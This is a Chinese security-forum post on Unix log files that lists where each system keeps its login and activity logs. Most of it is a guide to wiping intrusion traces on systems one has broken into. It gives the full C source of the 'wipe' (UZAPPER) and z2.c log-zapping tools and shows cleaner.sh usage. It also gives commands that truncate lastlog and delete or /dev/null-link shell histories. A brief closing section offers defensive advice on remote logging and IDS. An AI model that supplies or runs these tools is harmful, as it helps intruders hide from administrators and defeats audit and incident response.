找回密码
 注册
搜索
热搜: 回贴
微赢网络技术论坛 门户 安全攻防 查看内容

unix日志文件安全小议

2009-12-14 02:30| 发布者: admin| 查看: 12| 评论: 0|原作者: 段誉

日志是系统管理里最重要组成部分之一(后期嘛,不看迟早有你哭的),说起日志是老生常谈了,其实嘛,三分技术,七分管理才是真的,下面介绍了最常见的unix系统日志,本想详细的介绍一下的,结果光apache服务器的日志就够2篇文章,所以简单的小议一
下了。
分类:
1.关于日志
2.各系统的日志存放路径及分析
3.怎样抹杀和修改自己的日志
4.对策,以及怎样保留时间戳,抓获入侵者
5,常去网站
---------------------------------------------------------------------------------------------------
1。日志说起来总好象没有什么大不了的,其实是网站维护的一个重要的组成部分
常用的日志文件如下:
access-log 纪录HTTP/web的传输
acct/pacct 纪录用户命令
aculog 纪录MODEM的活动
btmp 纪录失败的纪录
lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录
messages 从syslog中记录信息(有的链接到syslog文件)
sudolog 纪录使用sudo发出的命令
sulog 纪录使用su命令的使用
syslog 从syslog中记录信息(通常链接到messages文件)
utmp 纪录当前登录的每个用户
wtmp 一个用户每次登录进入和退出时间的永久纪录
xferlog 纪录FTP会话
lastlog
lastlog记录每个用户的最近一次的登陆时间和每个用户的最初目的地.
当一个用户登陆到unix系统时,注册程序在lastlog文件中查找该用户的uid ,如果该程序找到了该用户的uid,unix就会显示最后一次登陆的时间和TTY(终端号)
下面是一个例子:
Welcome to WOW Linux (Puberty)
login: swap
Password:
Last login: Thu Nov 21 18:41:11 from 61.53.65.128
sh: /dev/null: Permission denied
sh: /dev/null: Permission denied
[: -eq: unary operator expected
sh: /dev/null: 倾啊 芭何凳
[: -eq: unary operator expected
哦,看到没有last login,呵呵!偶的ip也给记录了,no face(呵呵,不过看到null你就该明白我动过日志了)
然后注册程序用新的登陆时间和TTY信息并更新lastlog文件,而且该程序带更新utmp wtmp.文件.

utmp
utmp 日志记录以前登陆到系统中的所有用户.这个文件随着用进入和离开系统而不断的变化.它还会为系统中的用户保持很长的历史记录,utmp日志通常存储在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以访问这个文件.:)比如finger users.现在的utmp一般都有一个utmpx文件做为日志记录的补充.别忘了擦这个pp

wtmp
wtmp文件记录用户登陆和退出事件,它和utmp类似.但它随着登陆的次数的增加它会变得越来越大.有些系统的ftp访问也在这个文件里记录.同时它也记录正常的系统退出时间.可以使用last和ac命令访问它.

syslog & messages
通过查看/etc/syslog.conf我们可以知道syslog记录些什么.:)
很多各种各样的程序产生的日志都由它记录.
同时它还有一个syslogd进程为它服务.
在缺省时,它把大多的信息传给/var/adm/messages

sulog
sulog为切换用户命令su的使用记录日志.
通常在/var/adm/sulog

shell记录
.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell执行时的历史记录.记录用户执行的命令.它一般存在于用户的主目录.别忘了去根目录看看哦.我入侵机器时,也经常能发现别人的hacking记录哦.:)所以你一定要记得清除
---------------------------------------------------------------------------------------------------------------
2。常用系统,log日志存放地址,从wipe.c里分析出来的(嘿嘿,赖皮)
linux系统:
/var/log
/etc/syslog.conf分析,最好注释#
/var/run
# ls /var/log
# ls /var/log
boot.log   dmesg       messages.2    secure     uucp
boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp
boot.log.2  httpd       messages.4    secure.2    wtmp.1
boot.log.3  lastlog      netconf.log   secure.3    xferlog
boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1
cron     maillog      netconf.log.2  sendmail.st   xferlog.2
cron.1    maillog.1     netconf.log.3  spooler     xferlog.3
cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4
cron.3    maillog.3     news       spooler.2
cron.4    maillog.4     normal.log    spooler.3
daily.log   messages     realtime.log   spooler.4
daily.sh   messages.1     samba       transfer.log
# ls /var/run
atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache
crond.pid   identd.pid   netreport   runlevel.dir   utmp
ftp.pids-all inetd.pid   news      syslogd.pid
---------------------------------------------------------------------------------
SUNOS系统:
/etc/utmp
/usr/adm/wtmp
/usr/adm/lastlog
#ls /var/adm一下,边可以发现
acct    log      messages.1    passwd    sulog   vold.log
aculog   messages   messages.2    sa      utmp    wtmp
lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx
嘿嘿,看的我留口水,真想都del掉
# ls /var/log
authlog      syslog    syslog.1   syslog.3
sysidconfig.log  syslog.0   syslog.2   syslog.4
-----------------------------------------------------------------------------------
BSD系统:
/var/run/utmp
/var/log/wtmp
/var/log/lastlog
---------------------------------------
一般我们要清除的日志有
lastlog
utmp(utmpx)
wtmp(wtmpx)
messages
syslog
sulog

各种shell还会记录用户使用的命令历史,通常文件名字为.sh_history(ksh),.history(csh),.bash_history(bash)等。
---------------------------------------------------------------------------------------------------------------
3。一些常用抹杀,修改,删除方法
1.如果你真的懒的要死,大多数时间就只好rm -f,嘿嘿,通杀,不过傻瓜管理员都会知道自己怎么回事了!不推荐,可以使用vi等编辑器来修改时间戳,看了一些国外的入侵挑战,很多高手都是用的修改时间戳来隐藏自己,没有笨到我那样的,呵呵,不过也只适合小工作量,大的不累翻你!(写sh啦??)

2.用 > 定向符清除.
比如:
#cat > /usr/log/lastlog

  ->这里输入你要的写的东西.最好伪装得像一些,也可以不输入哦.:)

^d 
或者cat>/usr/log/lastlog
3.一些rootkit工具包z2.c 和wted.c,wipe.c
下面是红客联盟lion的cleaner.sh
# chmod 755 cleaner.sh
# ./cleaner.sh
Log cleaner v0.5b By: Swap *
* Usage: cleaner.sh
# ./cleaner.sh username
其中,username 为你要清除日志的的用户帐号.
#./cleaner.sh swap
不过需要你的id为root哦,(不然怎么改权限)
另一个代表变是wipe呵呵,强烈推荐,swap的必杀技(哦,不是我写的,惭愧)
bash# ls
LC_MESSAGES kfm-cache-0 mm statdx.c wuf.c
a kfm-cache-500 mm.c su.c.swp wuftp
a.c kfm_0_743odbserver_0.0 rsync tmprand273039474 wuftp.c
apache.c kio_0_743odbserver_0.0 rsync.c wipe xinetd
hack major ssh.c wipe.c xinetd.c
hack.c major.c statdx wuf xp
bash# ./wipe
Usage: ./wipe Usernane
bash# ?
bash# ./wipe swap
Wiped 1 entries of swap from /var/run/utmp.
Wiped 2 entries of swap from /var/log/wtmp.
嘿嘿,是不是很好用,恩,不敢独享,代码如下:

/*=============================================================================

UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD

The Shadow Penguin Security (http://shadowpenguin.backsection.net )

Written by UNYUN ( unewn4th@usa.net )

=============================================================================

*/



#include

#include

#include

#include



#ifdef UTMAXTYPE

#define UTMPX

#include

#endif

#include

#ifndef _PATH_LASTLOG

#include

#endif

#include

#include

#include



#define SVR4_UTMP "/var/adm/utmp"

#define SVR4_WTMP "/var/adm/wtmp"

#define SVR4_LASTLOG "/var/adm/lastlog"



#define SUNOS4_UTMP "/etc/utmp"

#define SUNOS4_WTMP "/usr/adm/wtmp"

#define SUNOS4_LASTLOG "/usr/adm/lastlog"



#define BSD_UTMP "/var/run/utmp"

#define BSD_WTMP "/var/log/wtmp"

#define BSD_LASTLOG "/var/log/lastlog"



#define MAX_FPATH 512



int wipe_log(path,user,type)

char *path,*user;

int type;

{

struct utmp utmp_ent;

#ifdef UTMPX

struct utmpx utmpx_ent;

#endif

void *ent;

char *un;

int sz,fd,c=0;



if (strlen(path)==0) return(1);

if (type==0){

ent=(void *)&utmp_ent;

#ifdef UTMPX

un=(char *)&utmp_ent.ut_user;

#else

un=(char *)&utmp_ent.ut_name;

#endif

sz=sizeof(struct utmp);

}else{

#ifdef UTMPX

ent=(void *)&utmpx_ent;

un=(char *)&utmpx_ent.ut_user;

sz=sizeof(struct utmpx);

#endif

}

if ((fd=open(path,O_RDWR))<=0) return(-1);

while(read(fd,ent,sz)>0)

if (!strncmp(un,user,strlen(user))){

memset(ent,0,sz);

lseek(fd,-sz,SEEK_CUR);

write(fd,ent,sz);

c ;

}

close(fd);

printf("Wiped %d entries of %s from %s.\n",c,user,path);

return(0);

}



int wipe_lastlog(path,user,type)

char *path,*user;

int type;

{

struct passwd *p;

struct lastlog ent;

int fd;

char buffer[MAX_FPATH];



if (type==0) strcpy(buffer,path);

else sprintf(buffer,"%s/%s",path,user);

memset(&ent,0,sizeof(struct lastlog));

if ((p=getpwnam(user))==NULL) return(-1);

if ((fd=open(buffer,O_RDWR))<=0) return(-2);

if (type==0)

lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);

write(fd,&ent,sizeof(struct lastlog));

close(fd);

printf("Wiped %s from %s.\n",user,path);

return(0);

}



main(argc,argv)

int argc;

char *argv[];

{

char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];

char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];

char f_lastlog[MAX_FPATH];

struct utsname utname;

int lastlog_type;



if (argc!=2){

printf("Usage: %s Usernane\n",argv[0]);

exit(1);

}

if (getpwnam(argv[1])==NULL){

printf("Unknown user : %s\n",argv[1]);

exit(1);

}

uname(&utname);

strcpy(f_wtmpx,""); strcpy(f_utmpx,"");

if (!strcmp(utname.sysname,"SunOS")){

#ifdef UTMPX

strcpy(f_utmp, SVR4_UTMP);

strcpy(f_wtmp, SVR4_WTMP);

strcpy(f_utmpx, UTMPX_FILE);

strcpy(f_wtmpx, WTMPX_FILE);

strcpy(f_lastlog, SVR4_LASTLOG);

lastlog_type=0;

#else

strcpy(f_utmp, SUNOS4_UTMP);

strcpy(f_wtmp, SUNOS4_WTMP);

strcpy(f_lastlog, SUNOS4_LASTLOG);

lastlog_type=0;

#endif

}else if (!strcmp(utname.sysname,"Linux")

|| !strcmp(utname.sysname,"FreeBSD")){

strcpy(f_utmp, BSD_UTMP);

strcpy(f_wtmp, BSD_WTMP);

strcpy(f_lastlog, BSD_LASTLOG);

}else if (!strcmp(utname.sysname,"IRIX")){

#ifdef UTMPX

strcpy(f_utmp, SVR4_UTMP);

strcpy(f_wtmp, SVR4_WTMP);

strcpy(f_utmpx, UTMPX_FILE);

strcpy(f_wtmpx, WTMPX_FILE);

strcpy(f_lastlog, SVR4_LASTLOG);

lastlog_type=1;

#else

printf("Can not wipe. System Unknown.\n");

#endif

}else

printf("Can not wipe. System Unknown.\n");



wipe_log(f_utmp, argv[1],0);

wipe_log(f_utmpx,argv[1],1);

wipe_log(f_wtmp, argv[1],0);

wipe_log(f_wtmpx,argv[1],1);

wipe_lastlog(f_lastlog,argv[1],lastlog_type);

}
编译好的wipe
其中 u 选项为 utmp utmpx 日志擦除..
w 选项为 wtmp wtmpx 日志擦除.
l 选项为 lastlog 日志擦除.
a 为/var/adm/pacct日志擦除

Zap2 (清除 wtmp/lastlog/utmp记录)
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c
--------------------------- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos = 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

4.shell下的记录,注意个人用户/home那些日志哦!
#ls -al /.*history
-rw------- 1 root root 2416 11岿 24 14:34 /.bash_history
# rm -f .*history
最佳方法
1. 如果在用户目录下有.bash_history文件,删除它。
2. 在用户根目录下输入命令:ln -s /dev/null .bash_histor

---------------------------------------------------------------------------------------------------------------
4。对策:
1.最好的方法是不丢日志哦(不被hack更好,呵呵),日志文件导到另外的系统中,比如nt系统就很不错,看 他怎么删?呵呵,不过需要big big disk
2.防范,采用一些ids系统,snort,tripwire,(不是不想花钱吗?)这样便更容易抓到atttacker了,不过小心 snort的拒绝服务哦(太多响应怎么办?)
3.事后处理,早早升级,如果发生事件以后,最好尽快备份raid,找一些专用日志分析工具,要大家相信,没有100%的入侵者,不管rm的多严密,一定会留下蛛丝马迹的,最近实在《黑客挑战》看的有点多了,呵呵,到处找朋友要入侵日志分析zzzzzzzz,大家见我都怕了,嘿嘿,在此象朋友们说声对不起啦
记得防范和勤奋的作用,快点升级你的系统/软件,防火墙……,免得事后有的哭,日志必不可少,可看多了也太xxxxxxxx,呵呵,希望此文可以给大家多一点安全意识.

最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-10-1 03:24 , Processed in 0.235191 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部